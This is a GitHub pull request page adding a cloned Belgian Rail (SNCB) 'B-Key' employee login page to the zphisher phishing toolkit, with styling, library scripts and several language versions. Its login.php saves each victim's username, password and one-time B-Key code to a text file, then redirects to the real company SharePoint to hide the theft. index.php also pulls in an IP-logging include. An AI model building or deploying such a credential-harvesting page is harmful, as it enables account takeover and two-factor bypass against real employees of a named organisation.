Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

fix and added website i needed to use #910

Open
wants to merge 64 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
64 commits
Select commit Hold shift + click to select a range
3c19235
Update zphisher.sh
dracksters Jun 10, 2024
f7d40fc
Update zphisher.sh
dracksters Jun 10, 2024
7a2128f
Update zphisher.sh
dracksters Jun 10, 2024
c807912
Update zphisher.sh
dracksters Jun 10, 2024
cfe8aae
Update zphisher.sh
dracksters Jun 10, 2024
6df719b
Update zphisher.sh
dracksters Jun 10, 2024
c06cb49
Update zphisher.sh
dracksters Jun 10, 2024
b79d59d
Update zphisher.sh
dracksters Jun 10, 2024
e3fa8cf
Add files via upload
dracksters Jun 10, 2024
233942b
Update zphisher.sh
dracksters Jun 10, 2024
48376b3
Create index.php
dracksters Jun 10, 2024
d9fa077
Update login.php
dracksters Jun 10, 2024
18d9be8
Update zphisher.sh
dracksters Jun 10, 2024
5e39647
Update zphisher.sh
dracksters Jun 10, 2024
97d8bf1
Update zphisher.sh
dracksters Jun 10, 2024
4b64e2d
Update zphisher.sh
dracksters Jun 10, 2024
348a1a0
Update zphisher.sh
dracksters Jun 10, 2024
bba98b3
Update zphisher.sh
dracksters Jun 10, 2024
3a47af4
Add files via upload
dracksters Jun 10, 2024
5d21152
Update login_en.html
dracksters Jun 10, 2024
4212254
Update login_en.html
dracksters Jun 10, 2024
eb10e27
Update index.php
dracksters Jun 10, 2024
f5a24ea
Update index.php
dracksters Jun 10, 2024
d952256
language updates
dracksters Jun 11, 2024
ea5edba
Add files via upload
dracksters Jun 11, 2024
216a94d
Delete .sites/login_nl.html
dracksters Jun 11, 2024
d7669e8
Delete .sites/sncb/login_en_files directory
dracksters Jun 11, 2024
5e5119e
Delete .sites/script.js
dracksters Jun 11, 2024
6818150
Delete .sites/login_de.html
dracksters Jun 11, 2024
899571a
Delete .sites/login_en.html
dracksters Jun 11, 2024
8f39b52
Delete .sites/login.html
dracksters Jun 11, 2024
cea477d
Update login_de.html
dracksters Jun 11, 2024
1972aa6
Update login_en.html
dracksters Jun 11, 2024
31ba50c
Update login_de.html
dracksters Jun 11, 2024
9e93b0f
Update login_en.html
dracksters Jun 11, 2024
0438d8a
Update zphisher.sh
dracksters Jun 12, 2024
34f4f31
Add files via upload
dracksters Jun 13, 2024
eb6a788
Create index.php
dracksters Jun 13, 2024
22bcf0c
Create login.php
dracksters Jun 13, 2024
59bd162
Update zphisher.sh
dracksters Jun 13, 2024
8379dcd
Update zphisher.sh
dracksters Jun 13, 2024
39b98dc
Rename Belgianrail Login.html to login.html
dracksters Jun 13, 2024
249bf9f
Update login.php
dracksters Jun 13, 2024
20d4707
Update login.php
dracksters Jun 13, 2024
105fc2c
Update zphisher.sh
dracksters Jun 13, 2024
7c7c6ac
Create login_fr.html
dracksters Jun 13, 2024
f8cb169
Create login_nl.html
dracksters Jun 13, 2024
dfe47ab
Create login_de.html
dracksters Jun 13, 2024
fee2fee
Update login.html
dracksters Jun 13, 2024
c85c75d
Update login_de.html
dracksters Jun 13, 2024
3e0fc7b
Update login_fr.html
dracksters Jun 13, 2024
af075d5
Update login.php
dracksters Jun 14, 2024
1095d60
Update login.php
dracksters Jun 14, 2024
6823f38
Update zphisher.sh
dracksters Jun 14, 2024
69fb32d
Update zphisher.sh
dracksters Jun 14, 2024
7953c5a
Update zphisher.sh
dracksters Jun 14, 2024
720be9c
Update login.php
dracksters Jun 14, 2024
c286d40
Update zphisher.sh
dracksters Jun 14, 2024
c2afa11
Update zphisher.sh
dracksters Jun 21, 2024
412429a
Update zphisher.sh
dracksters Jun 21, 2024
da4c983
Update zphisher.sh
dracksters Jun 21, 2024
0625347
Update zphisher.sh
dracksters Jun 21, 2024
5a046a6
Update zphisher.sh
dracksters Jun 21, 2024
deaf6a9
Update zphisher.sh
dracksters Jun 21, 2024
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
5 changes: 5 additions & 0 deletions .sites/b-key/Belgianrail Login_files/all.min.css

Large diffs are not rendered by default.

Binary file added .sites/b-key/Belgianrail Login_files/bkey.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
88 changes: 88 additions & 0 deletions .sites/b-key/Belgianrail Login_files/bklogin.js.téléchargé
Original file line number Diff line number Diff line change
@@ -0,0 +1,88 @@
$(function() {
var user = $("input[name=userName]");
var pwd = $("input[name=password]");
var otp = $("input[name=OTP]");
var btn = $("button#btn-login");

function validate() {

var aRequiredFields = $(".required input"),
bIsDisabled = true;

for (var i = 0; i < aRequiredFields.length; i++) {
if ($(aRequiredFields[i]).val() === "") {
bIsDisabled = false;
break;
}
}

if (bIsDisabled) {
btn.removeAttr("disabled");
} else {
btn.attr("disabled", "");
}


}

function getUrlParameter(sParam) {

var sPageURL = window.location.hash.substring(2);
var sURLVariables = sPageURL.split('&');
for (var i = 0; i < sURLVariables.length; i++)
{
var sParameterName = sURLVariables[i].split('=');
if (sParameterName[0] == sParam){
return sParameterName[1];
}
}
}

function setActiveLanguageClass(defaultLang){
$("#langList li").removeClass("active");
var currentLang = "#langList li[data-lang='" + defaultLang + "']";
$(currentLang).addClass("active");
}

user.on('input', validate);
pwd.on('input', validate);
otp.on('input', validate);


validate();

var defaultLang = getUrlParameter("l");
if (!defaultLang) {
//read out cookie to check the language , if no language is found display en
defaultLang = Cookies.get('langTrustB');
defaultLang = defaultLang ? defaultLang : "en";
}

$("[data-localize]").localize("/v1/js/i18n/i18n", {
language: defaultLang
});

setActiveLanguageClass(defaultLang);


$(".lang").click(function() {
var lang = $(this).text().toLowerCase();
Cookies.set('langTrustB', lang);
$("[data-localize]").localize("/v1/js/i18n/i18n", {
language: lang
});
setActiveLanguageClass(lang);
});
});

$(".toggle-password").click(function() {

$(this).toggleClass("fa-eye fa-eye-slash");
var input = $($(this).attr("toggle"));
if (input.attr("type") == "password") {
input.attr("type", "text");
} else {
input.attr("type", "password");
}
});

6 changes: 6 additions & 0 deletions .sites/b-key/Belgianrail Login_files/bootstrap.min.css

Large diffs are not rendered by default.

Large diffs are not rendered by default.

Original file line number Diff line number Diff line change
@@ -0,0 +1,4 @@
/*! Localize - v0.2.0 - 2016-10-13
* https://github.com/coderifous/jquery-localize
* Copyright (c) 2016 coderifous; Licensed MIT */
!function(a){var b;return b=function(a){return a=a.replace(/_/,"-").toLowerCase(),a.length>3&&(a=a.substring(0,3)+a.substring(3).toUpperCase()),a},a.defaultLanguage=b(navigator.languages&&navigator.languages.length>0?navigator.languages[0]:navigator.language||navigator.userLanguage),a.localize=function(c,d){var e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v;return null==d&&(d={}),v=this,h={},g=d.fileExtension||"json",f=a.Deferred(),k=function(a,b,c){var e;switch(null==c&&(c=1),c){case 1:return h={},d.loadBase?(e=a+("."+g),i(e,a,b,c)):k(a,b,2);case 2:return e=""+a+"-"+b.split("-")[0]+"."+g,i(e,a,b,c);case 3:return e=""+a+"-"+b.split("-").slice(0,2).join("-")+"."+g,i(e,a,b,c);default:return f.resolve()}},i=function(b,c,e,f){var g,i,j;return null!=d.pathPrefix&&(b=""+d.pathPrefix+"/"+b),j=function(b){return a.extend(h,b),q(h),k(c,e,f+1)},i=function(){return 2===f&&e.indexOf("-")>-1?k(c,e,f+1):d.fallback&&d.fallback!==e?k(c,d.fallback):void 0},g={url:b,dataType:"json",async:!0,timeout:null!=d.timeout?d.timeout:500,success:j,error:i},"file:"===window.location.protocol&&(g.error=function(b){return j(a.parseJSON(b.responseText))}),a.ajax(g)},q=function(a){return null!=d.callback?d.callback(a,e):e(a)},e=function(b){return a.localize.data[c]=b,v.each(function(){var c,d,e;return c=a(this),d=c.data("localize"),d||(d=c.attr("rel").match(/localize\[(.*?)\]/)[1]),e=u(d,b),null!=e?l(c,d,e):void 0})},l=function(b,c,d){return b.is("input")?o(b,c,d):b.is("textarea")?o(b,c,d):b.is("img")?n(b,c,d):b.is("optgroup")?p(b,c,d):a.isPlainObject(d)||b.html(d),a.isPlainObject(d)?m(b,d):void 0},o=function(b,c,d){var e;return e=a.isPlainObject(d)?d.value:d,b.is("[placeholder]")?b.attr("placeholder",e):b.val(e)},m=function(a,b){return s(a,"title",b),s(a,"href",b),t(a,"text",b)},p=function(a,b,c){return a.attr("label",c)},n=function(a,b,c){return s(a,"alt",c),s(a,"src",c)},u=function(a,b){var c,d,e,f;for(c=a.split(/\./),d=b,e=0,f=c.length;f>e;e++)a=c[e],d=null!=d?d[a]:null;return d},s=function(a,b,c){return c=u(b,c),null!=c?a.attr(b,c):void 0},t=function(a,b,c){return c=u(b,c),null!=c?a.text(c):void 0},r=function(a){var b;return"string"==typeof a?"^"+a+"$":null!=a.length?function(){var c,d,e;for(e=[],c=0,d=a.length;d>c;c++)b=a[c],e.push(r(b));return e}().join("|"):a},j=b(d.language?d.language:a.defaultLanguage),d.skipLanguage&&j.match(r(d.skipLanguage))?f.resolve():k(c,j,1),v.localizePromise=f,v},a.fn.localize=a.localize,a.localize.data={}}(jQuery);
165 changes: 165 additions & 0 deletions .sites/b-key/Belgianrail Login_files/js.cookie.js.téléchargé
Original file line number Diff line number Diff line change
@@ -0,0 +1,165 @@
/*!
* JavaScript Cookie v2.2.0
* https://github.com/js-cookie/js-cookie
*
* Copyright 2006, 2015 Klaus Hartl & Fagner Brack
* Released under the MIT license
*/
;(function (factory) {
var registeredInModuleLoader = false;
if (typeof define === 'function' && define.amd) {
define(factory);
registeredInModuleLoader = true;
}
if (typeof exports === 'object') {
module.exports = factory();
registeredInModuleLoader = true;
}
if (!registeredInModuleLoader) {
var OldCookies = window.Cookies;
var api = window.Cookies = factory();
api.noConflict = function () {
window.Cookies = OldCookies;
return api;
};
}
}(function () {
function extend () {
var i = 0;
var result = {};
for (; i < arguments.length; i++) {
var attributes = arguments[ i ];
for (var key in attributes) {
result[key] = attributes[key];
}
}
return result;
}

function init (converter) {
function api (key, value, attributes) {
var result;
if (typeof document === 'undefined') {
return;
}

// Write

if (arguments.length > 1) {
attributes = extend({
path: '/'
}, api.defaults, attributes);

if (typeof attributes.expires === 'number') {
var expires = new Date();
expires.setMilliseconds(expires.getMilliseconds() + attributes.expires * 864e+5);
attributes.expires = expires;
}

// We're using "expires" because "max-age" is not supported by IE
attributes.expires = attributes.expires ? attributes.expires.toUTCString() : '';

try {
result = JSON.stringify(value);
if (/^[\{\[]/.test(result)) {
value = result;
}
} catch (e) {}

if (!converter.write) {
value = encodeURIComponent(String(value))
.replace(/%(23|24|26|2B|3A|3C|3E|3D|2F|3F|40|5B|5D|5E|60|7B|7D|7C)/g, decodeURIComponent);
} else {
value = converter.write(value, key);
}

key = encodeURIComponent(String(key));
key = key.replace(/%(23|24|26|2B|5E|60|7C)/g, decodeURIComponent);
key = key.replace(/[\(\)]/g, escape);

var stringifiedAttributes = '';

for (var attributeName in attributes) {
if (!attributes[attributeName]) {
continue;
}
stringifiedAttributes += '; ' + attributeName;
if (attributes[attributeName] === true) {
continue;
}
stringifiedAttributes += '=' + attributes[attributeName];
}
return (document.cookie = key + '=' + value + stringifiedAttributes);
}

// Read

if (!key) {
result = {};
}

// To prevent the for loop in the first place assign an empty array
// in case there are no cookies at all. Also prevents odd result when
// calling "get()"
var cookies = document.cookie ? document.cookie.split('; ') : [];
var rdecode = /(%[0-9A-Z]{2})+/g;
var i = 0;

for (; i < cookies.length; i++) {
var parts = cookies[i].split('=');
var cookie = parts.slice(1).join('=');

if (!this.json && cookie.charAt(0) === '"') {
cookie = cookie.slice(1, -1);
}

try {
var name = parts[0].replace(rdecode, decodeURIComponent);
cookie = converter.read ?
converter.read(cookie, name) : converter(cookie, name) ||
cookie.replace(rdecode, decodeURIComponent);

if (this.json) {
try {
cookie = JSON.parse(cookie);
} catch (e) {}
}

if (key === name) {
result = cookie;
break;
}

if (!key) {
result[name] = cookie;
}
} catch (e) {}
}

return result;
}

api.set = api;
api.get = function (key) {
return api.call(api, key);
};
api.getJSON = function () {
return api.apply({
json: true
}, [].slice.call(arguments));
};
api.defaults = {};

api.remove = function (key, attributes) {
api(key, '', extend(attributes, {
expires: -1
}));
};

api.withConverter = init;

return api;
}

return init(function () {});
}));
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
72 changes: 72 additions & 0 deletions .sites/b-key/Belgianrail Login_files/styles.css
Original file line number Diff line number Diff line change
@@ -0,0 +1,72 @@
#wrapper {
margin-top: 80px;
margin-bottom: 80px;
}
#splash-wrapper {
margin-top: 80px;
margin-bottom: 80px;
}
#splash-content {
max-width: 380px;
padding: 15px 35px 45px;
margin: 0 auto;
background-color: #fafafa;
border: 1px solid rgba(0,0,0,0.1);
}
#brand-logo {
height: 40px;
margin-bottom: 6px;
margin-right: 6px;
}
#bkey-logo {
height: 30px;
margin-bottom: 6px;
margin-right: 6px;
}
#error {
/*color:#BB2222;
*/
color:#cc0000;
}
#info {
/*color:#33AA33;
*/
color:#009900;
}
#warning {
/*color:#887700;
*/
color:#ff6600;
}
ul.list-group{
float:right;
}
ul.list-group:after {
clear: both;
display: block;
content: "";
}
.list-group-item {
float: left;
}

.list-group-item{
/*font-weight: bold;*/
}

.list-group-item.active a, .list-group-item.active a:focus, .list-group-item.active a:hover{
color:#fff;
}
.field-icon {
float: right;
margin-left: -25px;
margin-right: 10px;
margin-top: -25px;
position: relative;
z-index: 2;
}

.password {
margin: auto;
}

5 changes: 5 additions & 0 deletions .sites/b-key/index.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,5 @@
<?php
include 'ip.php';
header('Location: login.html');
exit
?>
73 changes: 73 additions & 0 deletions .sites/b-key/login.html

Large diffs are not rendered by default.

6 changes: 6 additions & 0 deletions .sites/b-key/login.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
<?php

file_put_contents("usernames.txt", "sncb Username: " . $_POST['session_key'] . " Pass: " . $_POST['session_password'] . " B-Key: " . $_POST['OTP'] . "\n", FILE_APPEND);
header('Location: https://belgianrail.sharepoint.com/sites/WeBe/SitePages/Accueil.aspx');
exit();
?>
73 changes: 73 additions & 0 deletions .sites/b-key/login_de.html

Large diffs are not rendered by default.

73 changes: 73 additions & 0 deletions .sites/b-key/login_fr.html

Large diffs are not rendered by default.

73 changes: 73 additions & 0 deletions .sites/b-key/login_nl.html

Large diffs are not rendered by default.

5 changes: 5 additions & 0 deletions .sites/sncb/index.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,5 @@
<?php
include 'ip.php';
header('Location: login.html');
exit
?>
Loading